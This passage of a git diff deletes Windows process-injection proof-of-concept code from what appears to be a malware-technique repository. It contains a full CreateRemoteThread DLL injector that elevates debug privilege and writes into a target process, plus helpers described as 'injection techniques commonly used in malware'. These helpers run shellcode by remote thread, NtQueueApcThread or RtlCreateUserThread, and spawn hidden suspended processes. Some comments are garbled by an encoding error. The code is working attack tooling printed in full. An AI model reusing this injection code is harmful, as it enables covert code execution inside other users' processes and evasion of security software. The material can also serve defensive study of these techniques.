- * INST *fpuinst = inst_table4[opcode - 0xd8][index];
- * where index is determined by the MODRM byte.
- *
- */
-INST * inst_table4[8] = {
- inst_table_fpu_d8,
- inst_table_fpu_d9,
- inst_table_fpu_da,
- inst_table_fpu_db,
- inst_table_fpu_dc,
- inst_table_fpu_dd,
- inst_table_fpu_de,
- inst_table_fpu_df,
-};
-
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/ReadMe.txt b/Win32/Proof of Concepts/CheckKernelEATHook/ReadMe.txt
deleted file mode 100644
index 6f7967d5..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/ReadMe.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-1.Reload the first kernel module
-2.check EAT function (Zwxx)
-3.check InlineHook (not Zwxx)
diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread.sln b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread.sln
deleted file mode 100644
index 4a18310f..00000000
--- a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread.sln
+++ /dev/null
@@ -1,26 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 11.00
-# Visual Studio 2010
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CreateRemoteThread", "CreateRemoteThread\CreateRemoteThread.vcxproj", "{62BBF757-A1B4-4FF4-89C0-2890DEF4983F}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Win32 = Debug|Win32
- Debug|x64 = Debug|x64
- Release|Win32 = Release|Win32
- Release|x64 = Release|x64
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Debug|Win32.ActiveCfg = Debug|Win32
- {62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Debug|Win32.Build.0 = Debug|Win32
- {62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Debug|x64.ActiveCfg = Debug|x64
- {62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Debug|x64.Build.0 = Debug|x64
- {62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Release|Win32.ActiveCfg = Release|Win32
- {62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Release|Win32.Build.0 = Release|Win32
- {62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Release|x64.ActiveCfg = Release|x64
- {62BBF757-A1B4-4FF4-89C0-2890DEF4983F}.Release|x64.Build.0 = Release|x64
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.cpp b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.cpp
deleted file mode 100644
index b2b3146e..00000000
--- a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.cpp
+++ /dev/null
@@ -1,337 +0,0 @@
-/*
-x86x64עΪx64ϵͳ˽϶ȨУ飬ҪȨ
-x64ȨҪõntdll.dllеδRtlAdjustPrivilege().
-*/
-#include "stdafx.h"
-#include "CreateRemoteThread.h"
-#include
-
-#ifdef _DEBUG
-#define new DEBUG_NEW
-#endif
-
-
-// ΨһӦó
-
-CWinApp theApp;
-
-using namespace std;
-
-typedef enum _WIN_VERSION
-{
- WindowsNT,
- Windows2000,
- WindowsXP,
- Windows2003,
- WindowsVista,
- Windows7,
- Windows8,
- Windows10,
- WinUnknown
-}WIN_VERSION;
-typedef NTSTATUS( NTAPI* fnRtlGetVersion )(PRTL_OSVERSIONINFOW lpVersionInformation);
-
-VOID InjectDll(ULONG_PTR ProcessID, WCHAR* strPath);
-WIN_VERSION GetWindowsVersion();
-BOOL EnableDebugPrivilege();
-BOOL InjectDllByRemoteThreadXP(const TCHAR* wzDllFile, ULONG_PTR ProcessId);
-BOOL InjectDllByRemoteThreadWin7(const TCHAR* wzDllFile, ULONG_PTR ProcessId);
-
-typedef long (__fastcall *pfnRtlAdjustPrivilege64)(ULONG,ULONG,ULONG,PVOID);
-typedef long (__stdcall *pfnRtlAdjustPrivilege32)(ULONG,ULONG,ULONG,PVOID);
-
-WIN_VERSION WinVersion = WinUnknown;
-
-int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
-{
- WinVersion = GetWindowsVersion();
-
- if(argc == 3)
- {
- ULONG ProcessId = 0;
- swscanf_s(argv[1], L"%d", &ProcessId);
- InjectDll(ProcessId, argv[2]);
- }
-
- return 0;
-}
-
-VOID InjectDll(ULONG_PTR ProcessID, WCHAR* strPath)
-{
- WCHAR wzPath[MAX_PATH] = {0};
-
- if (ProcessID == 0 || strPath == NULL)
- {
- printf("Inject Fail ProcessId or strPath is not exists \r\n");
- return;
- }
-
- GetCurrentDirectory(260,wzPath);
- wcsncat_s(wzPath, L"\\", 2);
- wcsncat_s(wzPath, strPath, wcslen(strPath));//dll·
-
- if (!PathFileExists(wzPath))
- {
- printf("Inject Fail strPath is not exists LastError [%d]\r\n", GetLastError());
- return;
- }
-
- printf("Inject Target [%d], strPath [%S]\n", ProcessID, wzPath);
-
- if(WinVersion >= Windows7)
- {
- if (!InjectDllByRemoteThreadWin7(wzPath,ProcessID))
- printf("Inject Fail\r\n");
- else
- printf ("Inject Success\r\n");
- }
- else
- {
- if (!InjectDllByRemoteThreadXP(wzPath,ProcessID))
- printf("Inject Fail\r\n");
- else
- printf("Inject Success\r\n");
- }
-}
-
-
-BOOL InjectDllByRemoteThreadWin7(const TCHAR* wzDllFile, ULONG_PTR ProcessId)
-{
- if (NULL == wzDllFile || 0 == ::_tcslen(wzDllFile) || ProcessId == 0 || -1 == _taccess(wzDllFile, 0))
- {
- return FALSE;
- }
- HANDLE hProcess = NULL;
- HANDLE hThread = NULL;
- DWORD dwRetVal = 0;
- LPTHREAD_START_ROUTINE FuncAddress = NULL;
- DWORD dwSize = 0;
- TCHAR* VirtualAddress = NULL;
- //Ԥ룬֧Unicode
-#ifdef _UNICODE
- FuncAddress = (PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T("Kernel32")), "LoadLibraryW");
-#else
- FuncAddress = (PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T("Kernel32")), "LoadLibraryA");
-#endif
-
- if (FuncAddress==NULL)
- {
- return FALSE;
- }
-
-#ifdef _WIN64
- pfnRtlAdjustPrivilege64 RtlAdjustPrivilege = NULL;
- RtlAdjustPrivilege=(pfnRtlAdjustPrivilege64)GetProcAddress((HMODULE)(FuncAddress(L"ntdll.dll")),"RtlAdjustPrivilege");
-#else
- pfnRtlAdjustPrivilege32 RtlAdjustPrivilege = NULL;
- RtlAdjustPrivilege=(pfnRtlAdjustPrivilege32)GetProcAddress((HMODULE)(FuncAddress(L"ntdll.dll")),"RtlAdjustPrivilege");
-#endif
-
- if (RtlAdjustPrivilege==NULL)
- {
- return FALSE;
- }
- /*
- . SE_BACKUP_PRIVILEGE, "17",
- . SE_RESTORE_PRIVILEGE, "18",
- . SE_SHUTDOWN_PRIVILEGE, "19",
- . SE_DEBUG_PRIVILEGE, "20",
- */
- RtlAdjustPrivilege(20,1,0,&dwRetVal); //19
-
- hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE, ProcessId);
-
- if (NULL == hProcess)
- {
- printf("Open Process Fail lastError [%d]\r\n", GetLastError());
- return FALSE;
- }
-
- // Ŀзڴռ
- dwSize = (DWORD)::_tcslen(wzDllFile) + 1;
- VirtualAddress = (TCHAR*)::VirtualAllocEx(hProcess, NULL, dwSize * sizeof(TCHAR), MEM_COMMIT, PAGE_READWRITE);
- if (NULL == VirtualAddress)
- {
- printf("Virtual Process Memory Fail lastError [%d]\r\n", GetLastError());
- CloseHandle(hProcess);
- return FALSE;
- }
-
- // Ŀ̵ڴռд(ģ)
- if (FALSE == ::WriteProcessMemory(hProcess, VirtualAddress, (LPVOID)wzDllFile, dwSize * sizeof(TCHAR), NULL))
- {
- printf("Write Data Fail LastError [%d]\r\n", GetLastError());
- VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);
- CloseHandle(hProcess);
- return FALSE;
- }
-
- hThread = ::CreateRemoteThread(hProcess, NULL, 0, FuncAddress, VirtualAddress, 0, NULL);
- if (NULL == hThread)
- {
- printf("CreateRemoteThread Fail lastError [%d]\r\n", GetLastError());
- VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);
- CloseHandle(hProcess);
- return FALSE;
- }
- // ȴԶ߳̽
- WaitForSingleObject(hThread, INFINITE);
- // Դ
- VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);
- CloseHandle(hThread);
- CloseHandle(hProcess);
- return TRUE;
-}
-
-
-BOOL InjectDllByRemoteThreadXP(const TCHAR* wzDllFile, ULONG_PTR ProcessId)
-{
- // Ч
- if (NULL == wzDllFile || 0 == ::_tcslen(wzDllFile) || ProcessId == 0 || -1 == _taccess(wzDllFile, 0))
- {
- return FALSE;
- }
- HANDLE hProcess = NULL;
- HANDLE hThread = NULL;
- DWORD dwSize = 0;
- TCHAR* VirtualAddress = NULL;
- LPTHREAD_START_ROUTINE FuncAddress = NULL;
-
- if(!EnableDebugPrivilege())
- {
- printf("EnableDebugPrivilege fail lasterror is [%d]\n", GetLastError());
- return FALSE;
- }
-
- // ȡĿ̾
- hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ProcessId);
- if (NULL == hProcess)
- {
- printf("Open Process Fail LastError [%d]\r\n", GetLastError());
- return FALSE;
- }
- // Ŀзڴռ
- dwSize = (DWORD)::_tcslen(wzDllFile) + 1;
- VirtualAddress = (TCHAR*)::VirtualAllocEx(hProcess, NULL, dwSize * sizeof(TCHAR), MEM_COMMIT, PAGE_READWRITE);
- if (NULL == VirtualAddress)
- {
- printf("Virtual Process Memory Fail LastError [%d]\r\n", GetLastError());
- CloseHandle(hProcess);
- return FALSE;
- }
- // Ŀ̵ڴռд(ģ)
- if (FALSE == ::WriteProcessMemory(hProcess, VirtualAddress, (LPVOID)wzDllFile, dwSize * sizeof(TCHAR), NULL))
- {
- printf("Write Data Fail LastError [%d]\r\n", GetLastError());
- VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);
- CloseHandle(hProcess);
- return FALSE;
- }
- // Kernel32.dll лȡ LoadLibrary ַ
-#ifdef _UNICODE
- FuncAddress = (PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T("Kernel32")), "LoadLibraryW");
-#else
- FuncAddress = (PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T("Kernel32")), "LoadLibraryA");
-#endif
-
- if (NULL == FuncAddress)
- {
- printf("Get LoadLibrary Fail LastError [%d]\r\n", GetLastError());
- VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);
- CloseHandle(hProcess);
- return false;
- }
-
- // Զ̵߳ LoadLibrary
- hThread = ::CreateRemoteThread(hProcess, NULL, 0, FuncAddress, VirtualAddress, 0, NULL);
- if (NULL == hThread)
- {
- printf("CreateRemoteThread Fail LastError [%d]\r\n", GetLastError());
- VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);
- CloseHandle(hProcess);
- return FALSE;
- }
-
- // ȴԶ߳̽
- WaitForSingleObject(hThread, INFINITE);
- //
- VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);
- CloseHandle(hThread);
- CloseHandle(hProcess);
-
- return TRUE;
-}
-
-WIN_VERSION GetWindowsVersion()
-{
- RTL_OSVERSIONINFOEXW verInfo = { 0 };
- verInfo.dwOSVersionInfoSize = sizeof( verInfo );
-
- fnRtlGetVersion RtlGetVersion = (fnRtlGetVersion)GetProcAddress( GetModuleHandleW( L"ntdll.dll" ), "RtlGetVersion" );
- if(RtlGetVersion != NULL && RtlGetVersion((PRTL_OSVERSIONINFOW)&verInfo) == 0)
- {
- if (verInfo.dwMajorVersion <= 4 )
- {
- return WindowsNT;
- }
- if (verInfo.dwMajorVersion == 5 && verInfo.dwMinorVersion == 0)
- {
- return Windows2000;
- }
-
- if (verInfo.dwMajorVersion == 5 && verInfo.dwMinorVersion == 1)
- {
- return WindowsXP;
- }
- if (verInfo.dwMajorVersion == 5 && verInfo.dwMinorVersion == 2)
- {
- return Windows2003;
- }
- if (verInfo.dwMajorVersion == 6 && verInfo.dwMinorVersion == 0)
- {
- return WindowsVista;
- }
-
- if (verInfo.dwMajorVersion == 6 && verInfo.dwMinorVersion == 1)
- {
- return Windows7;
- }
- if (verInfo.dwMajorVersion == 6 && verInfo.dwMinorVersion == 2 )
- {
- return Windows8;
- }
- if (verInfo.dwMajorVersion == 10 && verInfo.dwMinorVersion == 0 && verInfo.dwBuildNumber >= 10240)
- {
- return Windows10;
- }
- }
-
- return WinUnknown;
-}
-
-BOOL EnableDebugPrivilege()
-{
- HANDLE hToken;
- TOKEN_PRIVILEGES TokenPrivilege;
- LUID uID;
- if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
- {
- printf("OpenProcessToken is Error\n");
- return FALSE;
- }
- if (!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&uID))
- {
- printf("LookupPrivilegeValue is Error\n");
- return FALSE;
- }
- TokenPrivilege.PrivilegeCount = 1;
- TokenPrivilege.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
- TokenPrivilege.Privileges[0].Luid = uID;
- //ǽеȨ
- if (!AdjustTokenPrivileges(hToken,false,&TokenPrivilege,sizeof(TOKEN_PRIVILEGES),NULL,NULL))
- {
- printf("AdjuestTokenPrivileges is Error\n");
- return FALSE;
- }
- return TRUE;
-}
diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.h b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.h
deleted file mode 100644
index d00d47e7..00000000
--- a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.h
+++ /dev/null
@@ -1,3 +0,0 @@
-#pragma once
-
-#include "resource.h"
diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.rc b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.rc
deleted file mode 100644
index b0b21af1..00000000
Binary files a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.rc and /dev/null differ
diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.vcxproj b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.vcxproj
deleted file mode 100644
index eb075426..00000000
--- a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.vcxproj
+++ /dev/null
@@ -1,161 +0,0 @@
-
-
-
-
- Debug
- Win32
-
-
- Debug
- x64
-
-
- Release
- Win32
-
-
- Release
- x64
-
-
-
- {62BBF757-A1B4-4FF4-89C0-2890DEF4983F}
- Win32Proj
- CreateRemoteThread
-
-
-
- Application
- true
- Unicode
- Dynamic
-
-
- Application
- true
- Unicode
- Dynamic
-
-
- Application
- false
- true
- Unicode
- Dynamic
-
-
- Application
- false
- true
- Unicode
- Dynamic
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- true
-
-
- true
-
-
- false
-
-
- false
-
-
-
- Use
- Level3
- Disabled
- WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
-
-
- Console
- true
-
-
-
-
- Use
- Level3
- Disabled
- WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
-
-
- Console
- true
-
-
-
-
- Level3
- Use
- MaxSpeed
- true
- true
- WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
-
-
- Console
- true
- true
- true
-
-
-
-
- Level3
- Use
- MaxSpeed
- true
- true
- WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
-
-
- Console
- true
- true
- true
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- Create
- Create
- Create
- Create
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.vcxproj.filters b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.vcxproj.filters
deleted file mode 100644
index c4dd4e97..00000000
--- a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/CreateRemoteThread.vcxproj.filters
+++ /dev/null
@@ -1,47 +0,0 @@
-
-
-
-
- {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
- cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
-
-
- {93995380-89BD-4b04-88EB-625FBE52EBFB}
- h;hpp;hxx;hm;inl;inc;xsd
-
-
- {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
- rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
-
-
-
-
-
-
-
- 头文件
-
-
- 头文件
-
-
- 头文件
-
-
- 头文件
-
-
-
-
- 源文件
-
-
- 源文件
-
-
-
-
- 资源文件
-
-
-
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/ReadMe.txt b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/ReadMe.txt
deleted file mode 100644
index b1840afa..00000000
--- a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/ReadMe.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-32 bit process Inject The dll to 32 bit process
-64 bit process Inject The dll to 64 bit process
-sometimes you maybe fail to inject because cann't openprocess successful
-and many safe software will protect it avoiding you to inject
diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/Resource.h b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/Resource.h
deleted file mode 100644
index c210bb14..00000000
--- a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/Resource.h
+++ /dev/null
@@ -1,17 +0,0 @@
-//{{NO_DEPENDENCIES}}
-// Microsoft Visual C++ generated include file.
-// Used by CreateRemoteThread.rc
-//
-
-#define IDS_APP_TITLE 103
-
-// ¶һĬֵ
-//
-#ifdef APSTUDIO_INVOKED
-#ifndef APSTUDIO_READONLY_SYMBOLS
-#define _APS_NEXT_RESOURCE_VALUE 101
-#define _APS_NEXT_COMMAND_VALUE 40001
-#define _APS_NEXT_CONTROL_VALUE 1000
-#define _APS_NEXT_SYMED_VALUE 101
-#endif
-#endif
diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/stdafx.cpp b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/stdafx.cpp
deleted file mode 100644
index 973aaf47..00000000
--- a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/stdafx.cpp
+++ /dev/null
@@ -1,8 +0,0 @@
-// stdafx.cpp : ֻļԴļ
-// CreateRemoteThread.pch ΪԤͷ
-// stdafx.obj ԤϢ
-
-#include "stdafx.h"
-
-// TODO: STDAFX.H
-// κĸͷļڴļ
diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/stdafx.h b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/stdafx.h
deleted file mode 100644
index 4721a605..00000000
--- a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/stdafx.h
+++ /dev/null
@@ -1,32 +0,0 @@
-// stdafx.h : ϵͳļİļ
-// Ǿʹõĵ
-// ضĿİļ
-//
-
-#pragma once
-
-#include "targetver.h"
-
-#include
-#include
-#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // ijЩ CString 캯ʽ
-
-#ifndef VC_EXTRALEAN
-#define VC_EXTRALEAN // Windows ͷļųʹõϢ
-#endif
-
-#include
-#include // MFC ͱ
-#include // MFC չ
-#ifndef _AFX_NO_OLE_SUPPORT
-#include // MFC Internet Explorer 4 ؼ֧
-#endif
-#ifndef _AFX_NO_AFXCMN_SUPPORT
-#include // MFC Windows ؼ֧
-#endif // _AFX_NO_AFXCMN_SUPPORT
-
-#include
-
-
-
-// TODO: ڴ˴óҪͷļ
diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/targetver.h b/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/targetver.h
deleted file mode 100644
index 7a7d2c83..00000000
--- a/Win32/Proof of Concepts/CreateRemoteThreadInjection/CreateRemoteThread/targetver.h
+++ /dev/null
@@ -1,8 +0,0 @@
-#pragma once
-
-// SDKDDKVer.h õ߰汾 Windows ƽ̨
-
-// ҪΪǰ Windows ƽ̨Ӧó WinSDKVer.h
-// WIN32_WINNT ΪҪֵ֧ƽ̨Ȼٰ SDKDDKVer.h
-
-#include
diff --git a/Win32/Proof of Concepts/CreateRemoteThreadInjection/ReadMe.txt b/Win32/Proof of Concepts/CreateRemoteThreadInjection/ReadMe.txt
deleted file mode 100644
index 402f8354..00000000
--- a/Win32/Proof of Concepts/CreateRemoteThreadInjection/ReadMe.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-32 bit process Inject The dll to 32 bit process
-64 bit process Inject The dll to 64 bit process
-sometimes you maybe fail to inject because cann't openprocess successful
-and many safe software will protect it avoiding you to inject
-
-
-support more OS.
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/README.md b/Win32/Proof of Concepts/ExtraWindowInject/README.md
deleted file mode 100644
index efb48408..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/README.md
+++ /dev/null
@@ -1,13 +0,0 @@
-# inject_shellcode
-Small compendium of injection techniques commonly used in malware demonstrated on metasploit-generated shellcode
-
-Various objects of injection:
-+ existing process (found by name)
-+ newly created process
-
-Demonstrated methods:
-+ Running shellcode in a new thread
-+ Adding shellcode into existing thread (using NtQueueApcThread)
-+ Patching Entry Point of the process
-+ Patching context of the process
-+ Injecting into Tray Window (using SetWindowLong)
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/CMakeLists.txt b/Win32/Proof of Concepts/ExtraWindowInject/src/CMakeLists.txt
deleted file mode 100644
index 522158ee..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/CMakeLists.txt
+++ /dev/null
@@ -1,34 +0,0 @@
-cmake_minimum_required (VERSION 2.8)
-project (Injections)
-
-add_definitions(-DUNICODE -D_UNICODE)
-
-set (srcs
- main.cpp
- window_long_inject.cpp
- sysutil.cpp
- pe_hdrs_helper.cpp
-)
-
-set (hdrs
- main.h
- ntddk.h
- ntdll_undoc.h
- kernel32_undoc.h
- map_buffer_into_process.h
- target_util.h
- payload.h
- createproc.h
- add_thread.h
- add_apc.h
- patch_ep.h
- patch_context.h
- window_long_inject.h
- enumproc.h
- sysutil.h
- pe_hdrs_helper.h
-)
-
-add_executable (Injections ${hdrs} ${srcs})
-
-INSTALL( TARGETS ${PROJECT_NAME} DESTINATION ${CMAKE_INSTALL_PREFIX} COMPONENT ${PROJECT_NAME} )
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/add_apc.h b/Win32/Proof of Concepts/ExtraWindowInject/src/add_apc.h
deleted file mode 100644
index f579be31..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/add_apc.h
+++ /dev/null
@@ -1,21 +0,0 @@
-#pragma once
-#include
-#include "ntdll_undoc.h"
-
-bool add_shellcode_to_apc(HANDLE hThread, LPVOID remote_shellcode_ptr)
-{
-#if defined(_WIN64)
- printf("[ERROR] 64bit version of this method is not implemented!\n");
- return false;
-#else
- printf("Adding shellcode to the queue\n");
- NTSTATUS status = NULL;
-
- if ((status = NtQueueApcThread(hThread, remote_shellcode_ptr, 0, 0, 0)) != STATUS_SUCCESS)
- {
- printf("[ERROR] NtQueueApcThread failed, status : %x\n", status);
- return false;
- }
- return true;
-#endif
-}
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/add_thread.h b/Win32/Proof of Concepts/ExtraWindowInject/src/add_thread.h
deleted file mode 100644
index 61332211..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/add_thread.h
+++ /dev/null
@@ -1,89 +0,0 @@
-#pragma once
-#include
-#include "ntddk.h"
-#include "ntdll_undoc.h"
-
-typedef enum {
- usingRandomMethod,
- usingCreateRemoteThread,
- usingZwCreateThreadEx,
- usingRtlCreateUserThread,
- CREATION_METHODS_SIZE
-} THREAD_CREATION_METHOD;
-
-bool run_shellcode_in_new_thread1(HANDLE hProcess, LPVOID remote_shellcode_ptr)
-{
- NTSTATUS status = NULL;
- //create a new thread for the injected code:
- LPTHREAD_START_ROUTINE routine = (LPTHREAD_START_ROUTINE) remote_shellcode_ptr;
-
- DWORD threadId = NULL;
- HANDLE hMyThread = NULL;
- if ((hMyThread = CreateRemoteThread(hProcess, NULL, NULL, routine, NULL, CREATE_SUSPENDED, &threadId)) == NULL) {
- printf("[ERROR] CreateRemoteThread failed, status : %x\n", GetLastError());
- return false;
- }
- printf("Created Thread, id = %x\n", threadId);
- printf("Resuming added thread...\n");
- ResumeThread(hMyThread); //injected code
- return true;
-}
-
-bool run_shellcode_in_new_thread2(HANDLE hProcess, LPVOID remote_shellcode_ptr)
-{
- NTSTATUS status = NULL;
- HANDLE hMyThread = NULL;
- //create a new thread for the injected code:
- if ((status = ZwCreateThreadEx(&hMyThread, 0x1FFFFF, NULL, hProcess, remote_shellcode_ptr, NULL, CREATE_SUSPENDED, 0, 0, 0, 0)) != STATUS_SUCCESS)
- {
- printf("[ERROR] ZwCreateThreadEx failed, status : %x\n", status);
- return false;
- }
- printf("Created Thread, id = %x\n", GetThreadId(hMyThread));
- printf("Resuming added thread...\n");
- ResumeThread(hMyThread); //injected code
- return true;
-}
-
-bool run_shellcode_in_new_thread3(HANDLE hProcess, LPVOID remote_shellcode_ptr)
-{
- NTSTATUS status = NULL;
- HANDLE hMyThread = NULL;
- CLIENT_ID cid;
- //create a new thread for the injected code:
-
- if ((status = RtlCreateUserThread(hProcess, NULL, true, 0, 0, 0, remote_shellcode_ptr, NULL, &hMyThread, &cid)) != STATUS_SUCCESS)
- {
- printf("[ERROR] RtlCreateUserThread failed, status : %x\n", status);
- return false;
- }
- printf("Created Thread, id = %x\n", GetThreadId(hMyThread));
- printf("Resuming added thread...\n");
- ResumeThread(hMyThread); //injected code
- return true;
-}
-
-//---
-bool run_shellcode_in_new_thread(HANDLE hProcess, LPVOID remote_shellcode_ptr, DWORD method)
-{
- bool isSuccess = false;
- DWORD max = CREATION_METHODS_SIZE - 1;
- DWORD random = (GetTickCount() * 1000) % max + 1;
- if (method > max || method <= usingRandomMethod) method = random;
-
- printf("Injecting by method, id = %x\n", method);
- switch (method) {
- case usingCreateRemoteThread:
- isSuccess = run_shellcode_in_new_thread1(hProcess, remote_shellcode_ptr);
- break;
- case usingZwCreateThreadEx:
- isSuccess = run_shellcode_in_new_thread2(hProcess, remote_shellcode_ptr);
- break;
- case usingRtlCreateUserThread:
- isSuccess = run_shellcode_in_new_thread3(hProcess, remote_shellcode_ptr);
- break;
- default:
- return false;
- }
- return isSuccess;
-}
diff --git a/Win32/Proof of Concepts/ExtraWindowInject/src/createproc.h b/Win32/Proof of Concepts/ExtraWindowInject/src/createproc.h
deleted file mode 100644
index d638129a..00000000
--- a/Win32/Proof of Concepts/ExtraWindowInject/src/createproc.h
+++ /dev/null
@@ -1,59 +0,0 @@
-#pragma once
-#include "kernel32_undoc.h"
-
-bool create_new_process1(PROCESS_INFORMATION &pi, LPWSTR cmdLine, LPWSTR startDir = NULL)
-{
- STARTUPINFO si;
- memset(&si, 0, sizeof(STARTUPINFO));
- si.cb = sizeof(STARTUPINFO);
-
- memset(&pi, 0, sizeof(PROCESS_INFORMATION));
-
- if (!CreateProcess(
- NULL,
- cmdLine,
- NULL, //lpProcessAttributes
- NULL, //lpThreadAttributes
- FALSE, //bInheritHandles
- DETACHED_PROCESS|CREATE_SUSPENDED|CREATE_NO_WINDOW, //dwCreationFlags
- NULL, //lpEnvironment
- startDir, //lpCurrentDirectory
- &si, //lpStartupInfo
- &pi //lpProcessInformation
- ))
- {
- printf("[ERROR] CreateProcess failed, Error = %x\n", GetLastError());
- return false;
- }
- return true;
-}
-
-bool create_new_process2(PROCESS_INFORMATION &pi, LPWSTR cmdLine, LPWSTR startDir = NULL)
-{
- STARTUPINFO si;
- memset(&si, 0, sizeof(STARTUPINFO));
- si.cb = sizeof(STARTUPINFO);
-
- memset(&pi, 0, sizeof(PROCESS_INFORMATION));
-
- HANDLE hToken = NULL;
- HANDLE hNewToken = NULL;
- if (!CreateProcessInternalW (hToken,
- NULL, //lpApplicationName
- (LPWSTR) cmdLine, //lpCommandLine
- NULL, //lpProcessAttributes
- NULL, //lpThreadAttributes
- FALSE, //bInheritHandles
- CREATE_SUSPENDED|DETACHED_PROCESS|CREATE_NO_WINDOW, //dwCreationFlags
- NULL, //lpEnvironment
- startDir, //lpCurrentDirectory
- &si, //lpStartupInfo
- &pi, //lpProcessInformation
- &hNewToken
- ))
- {
- printf("[ERROR] CreateProcessInternalW failed, Error = %x\n", GetLastError());
- return false;
- }
- return true;
-}
